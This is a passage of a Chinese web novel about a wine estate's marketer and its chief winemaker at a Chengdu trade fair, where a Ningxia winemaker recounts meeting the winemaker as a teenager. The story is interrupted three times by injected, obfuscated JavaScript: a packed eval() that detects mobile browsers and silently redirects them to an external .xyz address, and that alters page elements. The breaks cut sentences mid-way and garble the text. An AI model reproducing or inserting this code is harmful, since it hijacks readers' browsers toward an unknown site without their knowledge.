“无论是拍摄搭建过程也好,也是协助我们在糖酒会上展开互动活动,这都不是市场部的义务。既然大幅增加了别人的工作量,就总得交出等价的报偿。因为单方面地利用别人是不公平的——既然讨厌不公之事发生在自己身上,那我们至少也不要成为落在他人身上的不公,对吧?” “当然,这里面也有些生存小技巧。”安抚性地拍了拍实习生的肩,杭总监说:“以后无论你是需要其他同事的帮忙,还是要给大家布置任务,都要有个具体的对接人。谁和你对接,你就找谁负责。若是对着一群人大喊‘帮我一下’……嗯,经验上来看,被响应的可能性并不高。” 在苏玛感激的目光里,杭帆微笑着冲她眨了一下眼睛。 “多大点事儿,别害怕。”他说,“谁也不是刚毕业第一天就能成为‘总监’的嘛。遥想当年,嗐,你根本想象不到我都捅出过什么样的篓子!” 42.孽缘! “哦?”哪里有乐子话题,哪里就会有岳大师:“那杭总监当年具体都捅过些什么篓子呀?不妨讲来听听?” 他开口突然,把杭帆吓得像猫一样原地弹起:“——卧槽,你怎么凑这么近!闹鬼啊?!” “哎呀呀,杭总监,来都来了。”满面笑容地,岳一宛把自己的脑袋搁在了杭帆的肩膀上,“有什么羞耻的黑历史,赶紧拿出来给大家分享一下。痛苦你一个,幸福千万家,这是多么无私的奉献精神哪!” 苏玛这个小叛徒,一定要讲她杭老师的黑料,赶忙点头如捣蒜:“是呀是呀杭老师,你以前都犯过什么错,讲出来听一听,以后也能成为我的定心丸嘛!” 我看你们一个两个都不怀好意!杭总监气得在心里直跺脚。 “……大学实习的时候,”双拳难敌四掌,杭帆最后只得单手捂脸:“我转发了一条盗版电影资源,但忘记切换账号了。” “一连几天,我都没发现有哪里不对!直到领导在微信上给我发了个问号。” 苏玛掩着嘴,笑得弯下腰去:“杭老师,对不起……但是忘切账号真的是人之常情!之前,我去线下追星嘛,差点就把自己发癫帖子给发进罗彻斯特酒业的账号里!” “等等,你追的可是谢咏对家!”杭帆倒抽一口凉气:“这要是发进罗彻斯特的账号里,那还能了得?!Harris肯定要杀你示众以平民愤!” “吃一堑长一智!”实习生小姑娘拍着胸脯保证自己绝不再犯这种弱智错误:“看我的手机壳!‘记得检查账号’,我特意定制的,时刻提醒自己谨言慎行!” 岳一宛尤嫌不过瘾,“还有呢?”他问,“谁实习的时候没犯过错啊,我觉得这也算不得什么黑历史。”他的意思是要来点更带劲儿的。 忆及青春往事,杭帆面如土色:“还有……某一年端午节,外包美术发来了他画的海报。我大致检查了一下画面,觉得没问题,就转发给了甲方那边审核。” “但在那个文件的不可见图层里,有一张外包美术画的涂鸦小黄图。黄图的主角还是龙舟和粽子。据说是因为赶稿压力太大,随手画了之后忘记删了。” 时隔多年,讲到这一节的杭总监,眼神还是迅速地空洞了起来:“凌晨三点啊!甲方那边给我夺命连环call,接通之后还非常恐惧地问我,‘杭老师,那个未命名图层里的,也是海报内容吗?咱们这个,是不是,有点太先锋了?会不会不太合适啊……’” “龙舟和粽子。”岳一宛缓缓复述,“由于太过猎奇,我甚至有点想看了。” 杭帆表情空白,整个人都散发着生不如死的气息。 “大晚上的,我屁滚尿流地爬向电脑,把几十个未命名图层一个个点开检查。”重重叹了口气,杭总监喃喃:“然后就看到了那副涂鸦。真的,我是真的尴尬得想要立刻就去死。” “哈哈哈哈哈哈哈哈!” 岳大师笑得狂拍大腿,嘴上却尚留有两分怜悯:“虽然的确很尴尬,哈哈哈!但杭总监,人生还是不值得为了这点小事就去死的嘛!” “是哦,人生没有最尴尬,只有更尴尬。”杭帆恨声道,“你不许笑,岳一宛!我知道你在想什么!你就不能赶紧忘掉吗?!!” 在实习生小姑娘求知若渴的目光中,岳一宛诡笑着摇了摇食指。 “我会永远铭记在心。”以一种非常邪恶的口吻,酿酒师深情宣布道:“毕竟,那可是我和杭总监的初见啊。” 把脸埋进手心里,杭总监从喉咙深处挤出了痛苦的呻吟。 “有酒吗?”他闷闷地问,“再不给我来一杯,我感觉这工作就快没法干下去了。” 苏玛正要跑去展位上拿起泡酒,她的便宜师祖抬手一挡,就给小姑娘拦了下来。 “那些就还是留给你们的客人和粉丝慢慢喝吧。”抓住了杭帆的胳膊,岳一宛笑着向展位上的各位同事告辞:“我们嘛,就先去做斯芸酒庄的工作了。” 在被这人拖走之前,杭帆还眼疾手快地拍下了几张自家展位的照片:在花团锦簇的立牌与春季限定礼盒的另一侧,“斯芸”与“兰陵琥珀”这两支标价高昂的酒,正孤零零地站立在装饰精美的玻璃展柜中。 “电商部门说在他们在成都也有仓库,今天下午就可以调一批货过来做试饮。” 一边走路,杭帆还一边不忘要给罗彻斯特酒业的展位活动做好后续安排:“这款起泡酒一瓶多少钱来着?嚯,才一百五十八!难怪这么大方又拨了我们一百瓶做试饮!” 无不艳羡地,杭总监在脑子里摁起了计算器:“要有二十多瓶起泡酒,才抵得上一支‘兰陵琥珀’的价格……唉,也难怪他们不考虑给斯芸酒庄的产品做开瓶试饮,这成本真的是压不下来啊……” 不到两百块的名牌酒!再加上明星效应与粉丝经济!杭总监在心里抱头哀嚎:这样的营销工作,不比现在这个天天都得端着架子的斯芸酒庄要好做得多?! 早知道,我就该……啊啊啊!人生没有早知道!! “也不仅仅是价格的原因。”岳大师说,“光是这款起泡酒,罗彻斯特在全球就有七个生产基地,年产量超过百万瓶。” 调驻斯芸的一个多月来,杭帆听说过的最高产能,是经常被岳一宛指指戳戳的隔壁某酒庄——竟然一年能有一万两千瓶,他们家的葡萄是不是也长得太努力了?彼时的岳大师,语气里充满了羡慕嫉妒恨的酸溜溜。 如今乍一听到“百万瓶”这个单位,杭总监还很是恍惚了一下:“百万瓶……原来你们这些做葡萄酒的,也不是没有工业化生产的能力啊?!” “如果斯芸能有这个产量,”杭帆急吼吼地掰起了自己的手指,像是穷鬼做梦中了五千万彩票:“不,不需要百万瓶,其实十万瓶左右也就够了。若是能有这个级别的产能,我就可以找个IP联名来做一做……!甚至不需要那种特别能带货的大IP,格调高一点,知名度也比较那种就好。博物馆和美术馆?应该还能有更符合品牌调性的东西……” 岳一宛无情地敲醒了他。 “白日做梦呢杭总监?”斯芸的首席酿酒师嗤笑道,“年产量十万瓶?那斯芸酒庄的种植规模也要跟着扩大十倍。即便是对于罗彻斯特这种巨头企业而言,每年的租赁田地费用,也是一笔天文数字的支出了!” “我知道,我知道,您老的斯芸是高端精品化路线,每一颗葡萄都是优中选优,和那些大批量生产的酒商流水线产品不可同日而语。”杭帆恋恋不舍地放开了他的伟大计划:“唉,但是做梦又不犯法!就让我梦一下,怎么你了呢?” “因为听到你夸别人的酒会让我不爽。”岳大师这个人,根本就是强词夺理的代名词:“就算你夸的是别人家的产能也不行!” 此言既出,个头娇小的女性酿酒师立刻哈哈大笑起来。 岳一宛与杭帆正站在一家宁夏产区的联合展位面前,短发飒爽的女酿酒师为他们倒上了小半杯的干红葡萄酒。 “岳一宛今天又在发什么癫?”她笑着问杭帆:“要忍受这家伙,你平时一定过得很不容易吧?” 轻盈微酸的宝石红色液体,入口之后,就像是在不太甜的葡萄果汁里兑了点酒,是一种明快而清脆的可爱质感。 “这个很好喝!”意料之外的惊喜口感,让杭帆把眼睛都睁圆了:“虽然是干型的红葡萄酒,但是没什么单宁的涩感。感觉像是一种饮料?” 女酿酒师自豪地叉起了腰:“对吧对吧?超容易入口的!这款酒我们卖得超好咧!” “但看在岳一宛的面子上,你就别夸了,”她看了眼旁边那人,大笑起来:“再夸下去,他马上又要开始犯病了!” 正在犯病的岳大师只矜持地抿了一口,很是挑剔地转动起了手里的杯子。 “唉,梅洛葡萄。唉!” 他怪里怪气地出声道:“你懂我的意思吧,孙维?二十一世纪了,谁还喝梅洛啊!” 孙维——也就是他们面前的女酿酒师——作势就要用酒瓶敲他的脑袋。 “神经病啊你!”大概是与这人熟识多年的缘故,她对岳一宛没有半毛钱的尊敬可言:“我跟你说岳一宛:嫉妒,让男人丑陋。你现在已经嫉妒到扭曲变形了你知道吗?” 她怼完岳一宛,又爽朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597274|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地向杭帆伸出手:“我叫孙维,是一名家在宁夏的酿酒师。你呢?” 一句话,把岳一宛气得在边上直跳脚:“嫉妒?真是胡言乱语!呵!我看上去难道像是想用梅洛葡萄来酿酒的样子吗?我一点都不嫉妒好不好!” “杭帆,斯芸酒庄的新媒体运营。” 握住孙维的手,杭总监对这位女酿酒师很是敬佩——三言两语之间,就能把岳一宛给气成这样,此君当堪大用啊! 而孙维的握手与她的反驳同样有力。 “哦,我知道了!你们斯芸,今年加种梅洛的提议又被上头驳回啦?” 俗话说,打蛇捏七寸。而要气死岳一宛,那就得专挑葡萄的话题下手:“我说呢,就前两个月,怎么大清早的你突然开始在朋友圈里抽风,唧唧歪歪好一阵梅洛混酿单酿的话题,又说什么潮流是一时的风土是永久的……合着是你自己没能得手啊!” “还有这事?”岳一宛东张西望,强行失忆:“我不记得了,没发生过吧?是不是你幻觉啊?” 孙维与杭帆对视一秒,“他就是想要梅洛葡萄。”两人异口同声地得出结论。 “爱徒,”痛心疾首地,岳大师对杭帆道:“你怎么胳膊肘往外拐啊?为师在你心中难道就是这种无理取闹的人吗?” 啊?杭帆回以一个犀利的眼神:难道你不是? 岳一宛假装没看见,扭头又对孙维说:“而你,我要把你这个不肖徒弟给逐出师门!以后出去别说我教过你!” “这不就巧了?”孙维桀桀大笑,“我可从来都没承认过你是我师父!” 好混乱的师门关系,杭总监心想,岳一宛这人竟然也能桃李满天下? 他真诚请教岳大师:“师父,请容徒儿一问——你到底有多少个好徒弟?” “一个,就你一个!”这人答得斩钉截铁:“孙维刚已经被从师门里除名了!” 成都糖酒会的展位并不便宜。由于受众定位等原因,海外的各家精品葡萄酒庄,大多都只参加酒店展的部分。等到了大会展,除了罗彻斯特酒业这样的大金主,更多列席的则是国内酒商与各家国产酒庄。 “我们家是小酒庄嘛,单独租一个展位实在太贵了。所以就和左邻右舍们一起合拼了一个摊位!省钱哪。” 她笑着指了指头顶的展位名字,“排第一个的就是我家酒庄,咱也是老资历了!小杭听说过我们家的酒吗?“ “绝对没有。”岳一宛冷酷抢答,“你们还没有资格出现在我编撰的教科书里,OK?” 孙维熟练地无视了他:“其实吧,我家酒庄本来是准备要关门了来着。”她说,“毕竟是从爷爷那一辈就开始种葡萄的嘛!酿酒,在当时看来也只是件顺势而为的事情,反正每年都有那么多葡萄卖不出去,哈哈。” “我从小就不喜欢葡萄酒,”当着杭帆的面,女酿酒师承认得坦坦荡荡:“又累,又辛苦,还土得掉渣!哎,我跟你讲,小杭,你别看我家酒庄现在整得好像也有点高端大气的样子,但我小时候,家里酿造的所谓‘葡萄酒’,还都是用白色塑料桶装着卖的呢!专供镇上的那两家农副产品商店。” 岳大师低头对他的“大弟子”咬耳朵:“那才不叫酒,那就只是轻微发酵过的葡萄汁!” “喂,我可还听着呢!” 恶狠狠地,孙维没收了岳一宛手里的一次性酒杯:“去去去,你这种爱葡萄甚过爱人类的家伙,不要跑来参与我们普通人的话题!而且就算是到现在,我的梦想也是做舞台上的唱跳歌手的好吧?我经营酒庄,这完全就是在曲线救国!” 杭帆很难不露出震惊的表情:“啊?!酿酒和做爱豆?!这是要怎么曲线救国……?!” “她在葡萄田边上开live,音乐节的时候。”在他耳边嘀嘀咕咕的,除了岳一宛也没有别人:“我要是她地里的葡萄藤,天天听着那么吵闹的歌曲,我一颗果子也不给她结!” “你要是我的葡萄藤,我给你连根都拔咯!” 孙维大声嘘他,脸上却带着笑意:“况且,要不是因为和你的孽缘,我家的葡萄园早都卖了。哪里还有今天?” 43.如果在冬夜,一个旅人 脸色微妙地变了一变,岳一宛试图给这个话题踩下紧急刹车。 “咱们非得聊这些陈芝麻烂谷子的事吗?”他拼命地给孙维使眼色,“好久不见,还是聊点别的吧——你们今年有带赤霞珠的单酿没有?” “嗯?听起来会是个很有趣的故事。” 听闻此人的生硬语气,杭帆立刻瞅准机会掰回一城:“来都来了,对吧?咱们也展开讲讲呗!” 十分可疑地,岳大师的目光变得闪躲起来:“嗯,这个嘛,嗯……我觉得其实也没有特别有趣吧,哈哈……” “会吗?其实关于你的所有事情,我都觉得很有趣啊。” 杭总监素来人品优越,就连落井下石的语气都真挚得令人无法拒绝:“放心吧岳一宛,吃瓜,我可是专业的。除非特别好笑,我一般不会当场就笑出来……噗!” “是专业逆贼啊你!” 岳一宛咬牙切齿。 孙维看着他俩,笑得眼睛都眯成了一条缝。 “哎哟,我的天!”她说,“连岳一宛都学会害羞了。千古奇闻啊!” “我呸!谁害羞了?” 岳大师愤愤啐她,已然是早死早超生的态度:“要讲快讲,少在这儿添油加醋啊我告诉你!” 自幼不爱念书的孙维,毫不意外地在那一年高考中落了榜。 她没觉得有什么可遗憾的,对她而言,落榜就意味着今后再也不用念书,也再不用参加考试了。在十八岁的孙维眼里,这反倒一种究极的解脱。 漫长的学生时代总算过去。而她!就要去大城市里做偶像了! “不是我说,你这故事都是搁哪儿起的头啊?” 岳一宛嫌她讲得磨叽,干脆亲自上阵:“我给你挑重点总结一下好吧:总之,杭帆,你面前这人,在高考完的第二天,就揣着三年中攒下的零花钱,坐绿皮火车跑去了上海和北京,参加了好几个偶像女团的面试。” “然后一个也没面上。” 他人的失败,就是岳一宛最大的快乐。以巧克力般丝滑愉悦的口吻,他转头问道:“欸,孙维,所以你后来是怎样?印象里你是说在酒吧里做了一段时间驻唱歌手来着?为了攒回家的路费是吧?” “你给老娘住嘴,岳一宛!我正在很努力地克制自己用酒瓶敲爆你脑袋的冲动!” 叼着一次性红酒杯的杭帆只是在边上吭哧吭哧地笑。 只是短短的三个月,孙维的舞台爱豆梦想就正式宣告破灭。 北方的经纪公司嫌她个头太矮,南方的经纪公司嫌她的气质不够女性化。她嗓音嘹亮,唱功还算不错,但舞蹈技能却又贫瘠得可怜。 在被社会狠狠修理了一顿之后,攒够了路费的孙维终于踏上了回家的归途。 或许先找份工随便打打吧,她是这么想的。反正,只要不是在田里种葡萄,就算是在餐厅洗碗端盘子也行啊! 回到家中的那天,来自父母的打骂并没有如预料之中那样降临。 父亲坐在屋外抽烟,见她回来,只是抬了抬眉毛。 「忙三火四,干啥去?」他冲孙维招手,「瞧你这尕娃,日能的,跑出克做出嘛来了嘛?」 然后,他说,自己的腰近来总不大好,怕是再种不了几年的葡萄了。你去别处看看,咱家的葡萄园有没有人要。有人要的话,多卖点钱,你带去镇上过吧。 “种葡萄这行吧,实在也是看不到什么前途。”孙维对杭帆笑言:“我爷爷还是老三届的毕业生呢!当年因为上山下乡而没能读到大学,他老不服气了,就想着非得要在田里弄出一番事业不可。结果,几十年的人力耗在里面,到头来,也没见到有什么成果。” “虽然我和我爹一样,都不是读书的那块料。但两代人折在葡萄田里面,我想着,这也该是到了认命的时候了吧?” 有这种念头的葡萄种植户可不止孙维一家。 随着智能手机与移动互联网的普及,越来越多的当地年轻人开始向往起了“别处的生活”:高楼大厦的水泥森林很酷,灯红酒绿的夜场生活很酷,游戏很酷,摇滚很酷。 而这个世界上最不酷的东西,就是祖祖辈辈们弯腰埋首在田间所从事着的——农业。 孙维家放出了想要将葡萄园转让的消息,但附近的乡亲们却无人对此展现出兴趣。只有两个没眼色的亲戚跑上门来,问:我们也不想种了呀,那几亩地你们也帮着一起转让了吧! 两个月过去,这事儿仍旧杳无回音。孙维心里烦得要死,干脆死马当作活马医,把自家的葡萄园给挂上了贴吧。 「不种了,谁爱要谁就来。」十八岁的孙维在网上说,「来看葡萄园的私我,我请你喝自家酿的酒!」 “啊……”非常奇妙地,杭帆似乎已经能够预知这件事的发展方向:“然后岳一宛就来联系你了?” 岳姓当事人清了清嗓子,不太自在地移开了目光。 只有孙维,笑得嘎嘎做响:“他要是先联系的我,那倒好啰!这家伙,一声不吭地,突然间就自己找上门来了!” 踩在十六岁尾巴上的岳一宛,是一名英俊得令孙维瞪目结舌的少年。 宁夏的十一月,太阳落山后,气温骤降。而岳一宛只穿了薄薄一件夹克,脸被冻得煞白,手里还拖着一只行李箱。 他敲响了孙维家的门,说自己刚从国际航班的飞机上下来,不好意思打扰他们了。 「我在网上看到你的帖子。」他说,「你家的葡萄园在转让,对吗?我要租。先签个十年的合同吧,租金多少?我现在就可以付。」 而跨过十八岁门槛小半年的孙维,瞪大眼睛看着自家门外的天降之客:「你……你成年了吗?」 “就一个字,莽。” 孙维咂舌不止,对着杭帆比划着一个大大的长方形轮廓道:“小杭,你来猜猜,他带的行李箱里带着的什么东西?” “我也是一周后才知道,那天他行李箱装的全是钞票!几十万,现金,装满半箱子!我的老天爷,长到十八岁,我都从来还没见过那么多的钱!可他一个十六岁小孩儿,就敢带着这么多现金满地跑!” 岳一宛竭力掩饰着自己脸上的尴尬之色。倒是杭帆,一边笑还一边叹气,“好像确实也是他能干出来的事。我有点能理解。” “你别去理解啊!”孙维大力拍桌,“他小时候是真的很癫!你可千万别太理解他的脑回路,很危险啊小杭!” 比起十七未满的岳一宛,已经自诩是成年人的孙维,确实具有更多的社会常识。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603251|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果断拒绝了这少年租借葡萄园的要求,但还是礼貌地请他进来一起吃晚饭。 当时,天已经完全黑透了。孙维在心里想:要是放这小子一个人回镇上,那要得走多远啊?零下的气温里,就他身上这么两件衣服,非得给人冻出毛病来不可! 在她的热情挽留下,岳一宛终于走进门来。 和后来那些年里,越发变得活蹦乱跳且口无遮拦的“岳大师”不同。 十六岁的那个冬天,尚是少年的岳一宛,穿着时髦像是杂志上的明星,神情却忧郁憔悴,大部分时候只以沉默寡言的点头或摇头来做回应。 孙维小心翼翼地给他拿来了一副碗筷——她自觉已经周游了半个中国,是有见识的“大人”了,就算是与眼前这样的怪人打起交道,也应该丝毫不怵才是。但莫名地,她就是有些害怕,不知是因为面前的少年来路不明,还是因为他看上去仿佛随时都会从内部碎裂开一般。 「你是从外国回来的呀?」饭桌上的爹妈默不作声,只有孙维在努力寻找话题:「是……哪个国家呀?你要租我们的葡萄园,是想要做什么啊?」 或许是因为饭菜不合口味的原因,少年只象征性地动了两下两筷子。 「做酒庄。」他说,「我要酿葡萄酒。」 “这太岳一宛了。”杭帆说。 半点也没有感觉到好笑或尴尬,他只是看向岳一宛侧脸。 在这英挺的眉眼线条之间,杭帆似乎依然能看见十数年前的冬夜里,那个孤身横跨大洲,怀抱着渺茫希望而扣响陌生人家门扉的那个少年。 ——掐指算来,这正是Ines女士身故,而她的酒庄与葡萄园也跟着化作虚无的那年。 “但我能够理解。” 但十八岁的孙维并不能够理解。她只觉得这人多少有点神经兮兮。 「葡萄酒?是吗,哈哈……」 这小子看着年纪不大,怎么喜欢的东西却这么老气横秋的!孙维在心里直犯嘀咕:而且这家伙的脑壳真的没问题吗?再怎么喜欢葡萄酒,也不至于说是要租下一片田来自己种葡萄自己酿酒吧?有病么这不是! 我还喜欢唱歌跳舞咧,她腹诽道,也没见说非得亲手在家里搭个戏台子不可嘛! 但当着客人的面,孙维只能强扮出她自以为最淑女的微笑:「说起来,我家也有在酿葡萄酒。你要不要喝?我去给你拿点啊。」 她走进厨房,拎起装有家酿葡萄酒的大塑料桶,往一次性纸杯中倒入了满满的一杯。 在端出去给岳一宛之前,她还给自己也添了小半碗尝了一下——果然,和记忆里一样,既甜得发腻,又涩得嘴疼。 很难想象,喜欢这种东西的人都是种什么心理。 把“葡萄酒”放在了客人手边,孙维重又在桌边坐下。 「你一个人来这里啊?」她只是随口一问,「跑这么老远,你爸妈不管你吗?」 少年岳一宛盯着面前的纸杯,目光既惊恐又锐利,好像是在提防那柸胭脂红色的液体,突然伸出嘴来咬他一口似的。 好半天之后,他才终于伸出手,拿起了面前这杯被称之为是“葡萄酒”的东西。 「我没有家了。」 十六岁的岳一宛,将杯中之物一饮而尽。 44.篝火明灯 苦酒入喉,化作愁肠泪。 岳一宛搁下纸杯,只觉得自己的眼泪都要被难喝玩意儿给呛出来了。 「……这是你们的葡萄酒?」他感觉自己绝望得都快要笑出来,「就这?」 面前的短发少女倒是大大方方地把手一摊,「是啊。」她嘻嘻一笑:「不好喝是吧?不好喝这就对了!」 她说:「葡萄酒这种东西就是这样啦,以前是农民酿来自己喝的。后来大家也会买点回去自己喝,毕竟是酒嘛。但你若是论好喝——嗐,这东西,甜嘛不如可乐,带劲儿不如老白干,也就当是个果味儿的小孩儿饮料喝喝吧。」 「我劝你也别想着要做什么葡萄酒。」十八岁的孙维对他说,「这玩意儿要是能赚到钱,咱家也不至于要把葡萄园转让出去啊!」 十多年之后,对于自己当年的冒失发言,孙维做出了深刻的反省。 “确实,孽缘不是从这个人闪现在我门口开始的。” 她对杭帆道:“这一切都是从我说错了话的结果!但凡我当初不要接他的话,啧啧……” 小杭总监点头不迭——岳大师在葡萄酒的话题上能有多严格,他本人对此深有体会。 “来来来,小杭,看在大家都是岳一宛受害者的份上,请你喝我们的当家产品!” 拿出一瓶金橘色的酒,孙维豪爽地给他倒上了一大杯:“这是我们杏子酒,加了一点砂糖共同酿造的。酸甜比例那可是相当完美!” “呵,杏子酒。”岳一宛抱臂哼声,“呵!这东西从头到尾都是我的主意吧?甚至连第一批杏子酒,那都是我飞过来亲手酿的!” “再来点杏干!” 哗啦啦地,孙维又掏出一只密封袋塞给杭帆:“也是我们自家晒的,和酿酒的杏子是同一个品种。原汤化原食,美得你冒泡!” 杭帆尝了一口,眼睛立刻变得亮晶晶起来,连声夸赞“好吃”。 到底是社畜不打诳语:这杯清亮爽口的果酒,再配上两片柔韧有嚼劲的果肉干,大家酸甜和谐地交织在一起,像是被世界上最好吃的杏子给扑了个满怀。 “但凡罗彻斯特能让我给这个做营销,”那杭总监觉得自己在梦里都能笑醒,“我的KPI啊……感觉会比金价涨得更快。” 物以稀为贵,那好吃的杏干和杏子酒凭什么不算奢侈品?罗彻斯特集团,你们懂个锤子的美食! “你俩怎么就自己吃上了,没有我的份吗?”岳大师没等到投喂,立刻就开始作妖,“哎,徒弟不孝,为师的心真是碎了一地……” 孙维麻利地把果酒瓶子给插回冰桶中。 “嘿,你这人,不是说什么样的果酒都能自己酿的吗?那你自己酿去呗!”她奚落起岳一宛来可是毫不留情:“你们斯芸又不是没种杏子树,年产量五百公斤呢岳大师!这还不够你酿个一桶两桶杏子酒的?” 岳一宛和她对呛:“哈?你把我们斯芸酒庄当成什么了?酿杏子酒,这要让我在工作日志里怎么写,‘因为和宁夏的酿酒师孙维吵架,所以我私自占用了酒庄的发酵设备与果树,假公济私地酿造一些与斯芸的产品毫无关系的果酒’?” “哎哟,大酿酒师,这话怎么听起来还怪憋屈怪可怜的?”孙维正要顺势再挖苦他两句,却见杭帆已经把自己的杯子递到了身边这人面前。 这厮竟也不跟他客气,就着杭帆的手喝了一大口,又大剌剌地从杭总监怀里摸了块杏子干丢进自己嘴中。 “你看看杭帆。” 嘴里咬着食物的岳一宛,满脸都是小人得志的愉悦,声音含混地对孙维嘟囔:“人家这个首席大弟子,可比你尊师重道得多了!” 孙维让他滚蛋,“我看人小杭也是运交华盖才遇上你!” 「我不能同意。」 十六岁的岳一宛抬起眼睛,目光锋利得如同短匕出鞘:「卖不卖得出去,这是好酒才配讨论的问题。」 「你什么意思?」孙维拿眼睛瞪他:「什么玩意儿,你看不起人啊?!」 「意思就是你家的葡萄酒太差了。」 岳一宛说着,从桌边站起身来:「打着‘葡萄酒’的名义卖这种东西?这是对酿酒行业的最大羞辱。」 「我会带真正的葡萄酒来的。」拎起了自己的行李箱,他头也不回地走出了孙维家的大门:「等着。」 这目下无尘的态度,可真是把孙维给气得够呛。她一路追出院门外,扯开嗓子冲岳一宛的背影喊:「你还要回来啊?你可别再回来了!我家园子不会租给你的,你听不懂啊?!」 虽然每日里干尽了欺猫逗狗之事,但以岳一宛的情商水平,当年的这番言行举止也确实有些过于失态了。 孙维是把这事儿当笑话讲的,岳一宛则干脆堵住自己耳朵装聋作哑。 唯独杭帆,想到这人少年丧母,又突逢故园离散的剧变,心中只有一片感同身受的怆然。 “是有点中二。”他说,“但会这样狂热地给葡萄酒传教的,也只有岳一宛了。” 第二天的傍晚,少年人如约而至。 他这次没有拎行李箱,而是抱着几支长颈玻璃瓶。 「我从镇上的饭馆叫了一只烤全羊。」他对孙维说,好像这里是他自己家似的:「大概过一会儿就会送到了。你家有大一点的玻璃容器吗?」 孙维扶着门框,感觉自己招惹上了不得了的神经病。 「你,你干嘛啊?」她无不警惕地看着面前的少年,「你不会是还想要租我们家的葡萄园吧?我告诉你了岳一宛,不管你说什么,转让给未成年人都是不可能的!」 岳一宛只自顾自地打开了酒瓶,又拿起一只瓷碗,纺纱般精细地将那浓郁的紫红色酒液倒入碗中。 他的动作优雅,如同一场近景魔术表演。孙维遏制不住好奇,又走过去问:「这是你说的‘真正的葡萄酒’?这碗是给我喝的吗?」 「现在还不能喝。」少年瞥她一眼,完全是用看向白痴的眼神:「醒酒才刚开始。」 那天晚上,孙维的父母去了隔壁镇上的亲戚家里吃喜酒。既没考上大学,也没有交到男朋友的孙维,自觉脸上无光,执意要留下来看家。 阴差阳错的,倒是让她吃上了岳姓不速客的烤全羊外送。 「现在可以喝了。」岳一宛把碗中的酒推给她,「喂,你先把手上的油擦擦!」 这假洋鬼子的规矩也忒多。有什么了不起!孙维心中不爽,抓过瓷碗,仰头就是狠狠地一大口。 那是个你将会用一生来铭记的时刻。 鲜美的葡萄果实,生动地在口中迸裂,像是骤然蹦上舞台的乐团主唱,开嗓即唱出雀跃全场的最高音。 微酸的汁液,和着单宁细腻的重量,优雅地自舌苔上悄然滑过,如同配合无间的吉他与贝斯正编织出华美乐句。 滋滋溅溢出来的烤全羊脂肪,也在这一口葡萄酒之中被乖顺地溶解:油腻口感骤然消失,只留下肉脂的香甜腴美,在牙齿与舌头间尽情地跳跃欢呼。 这是一场味蕾被俘获的完美体验。 它让人头皮发麻,仿佛从此就让你拥有了一对全新的感觉器官。而它又是如此的震撼人心,让你觉得有连串的鼓点在胸腔里沉声敲响,连血液都要为之沸腾——就像是孙维离家出走的十四岁,在音乐节现场踮脚仰头,全身心地被音乐的巨大浪流给击倒的那一刻。 「这是什么东西?」狼吞虎咽的孙维,差点把自己的舌头连着烤羊肉一起落下肚里去:「你从哪里搞来的?」 看着她在自己面前挥舞着油亮的十根指头,岳一宛飞快地向后撤出一段距离。 「‘家园’,赤霞珠单酿。」他说,「是你们宁夏的银色高地酒庄出产的酒款。」 孙维是葡萄种植农的女儿,她当然知道什么是赤霞珠。但“单酿”这样的专业术语就有些太难了,而“银色高地”和“酒庄”之类的词更是听都没听说过。 她唯一听懂的是,这支酒的名字叫“家园”。 「‘家园’,家园。」 叛逆少女咀嚼着这个名字,像是在口中品尝一种带血的隐痛,又像是含住一枚与她血脉相连的宝珠。 「真是个好名字,令人生气。」她说,「就像你一样。」 「废话。」岳一宛回答她。 那天晚上,他们俩喝完了一整支“家园”,又开了一瓶“阙歌”。 同样是由赤霞珠葡萄酿造,与欢快热闹的“家园”相比,“阙歌”更像是一位艺术风格更加成熟的烟嗓歌手——高亢有力的转音,浓厚丰润的情感,大开大合,却又精巧细致。令人沉醉。 在这个寒风呼啸的夜晚,桌上只剩下了烤羊的骨头,与一些冷透了的残余菜肴。可年少的孙维与岳一宛相对而坐,面前摆着一瓶“阙歌”,就像是围坐在一堆明亮的篝火旁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610163|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 「哎哟我操,」她一边喝,嘴里还一边念念有词:「没有下酒菜,竟然连空口喝也都这么好喝。真是见了鬼了我!」 岳一宛不太搭理她,只是自己默默地喝。 「怎么这么快就没了?哦,这不还有两支呢吗!」孙维喝得上头,一把抓过对方带来的最后两瓶酒:「‘昂首天歌’……嘿,你也喜欢把好东西藏到最后啊?」 「这两支最便宜。看不出来吗?」岳一宛嫌她喝得太快,「你!牛嚼牡丹。」 哈哈大笑着,孙维从桌边跳起来。 「你不是想租我家的葡萄园?」她一手拔开了“昂首天歌”的软木塞,一手拎起墙边的手电筒,「走走走,我带你去葡萄园里转一转!」 十一月的宁夏山区,夜间的北风吹在脸上,痛得像是一连串的大耳刮子。 